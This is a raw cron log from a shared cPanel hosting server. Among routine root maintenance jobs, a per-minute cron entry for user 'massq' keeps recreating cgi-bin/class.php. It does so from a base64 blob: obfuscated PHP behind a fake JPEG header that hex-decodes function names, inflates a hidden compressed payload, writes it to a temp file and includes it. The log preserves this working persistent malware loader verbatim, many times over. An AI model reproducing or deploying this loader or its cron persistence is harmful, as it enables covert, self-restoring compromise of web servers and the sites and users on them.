Sep  1 21:48:01 server CROND[22742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:48:01 server CROND[22743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:48:01 server CROND[22744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:49:01 server CROND[23367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:49:01 server CROND[23368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:49:01 server CROND[23369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:50:01 server CROND[23754]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:50:01 server CROND[23756]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:50:01 server CROND[23757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:50:01 server CROND[23761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:50:01 server CROND[23763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:50:01 server CROND[23762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:50:01 server CROND[23766]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 21:50:01 server CROND[23764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:50:01 server CROND[23765]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 21:51:01 server CROND[24599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:51:01 server CROND[24598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:51:01 server CROND[24600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:52:01 server CROND[24980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:52:01 server CROND[24981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:52:01 server CROND[24983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:53:02 server CROND[25349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:53:02 server CROND[25351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:53:02 server CROND[25350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:54:01 server CROND[25813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:54:01 server CROND[25814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:54:01 server CROND[25815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:55:01 server CROND[26246]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:55:01 server CROND[26247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:55:01 server CROND[26249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:55:01 server CROND[26252]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:55:01 server CROND[26248]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 21:55:01 server CROND[26250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:55:01 server CROND[26251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:56:01 server CROND[27137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:56:01 server CROND[27136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:56:01 server CROND[27138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:57:01 server CROND[27520]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 21:57:01 server CROND[27522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:57:01 server CROND[27523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:57:01 server CROND[27521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:58:01 server CROND[27891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:58:01 server CROND[27892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:58:01 server CROND[27893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:59:01 server CROND[28360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:59:01 server CROND[28359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:59:01 server CROND[28361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:00:01 server CROND[28741]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:00:01 server CROND[28745]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 22:00:01 server CROND[28747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:00:01 server CROND[28746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
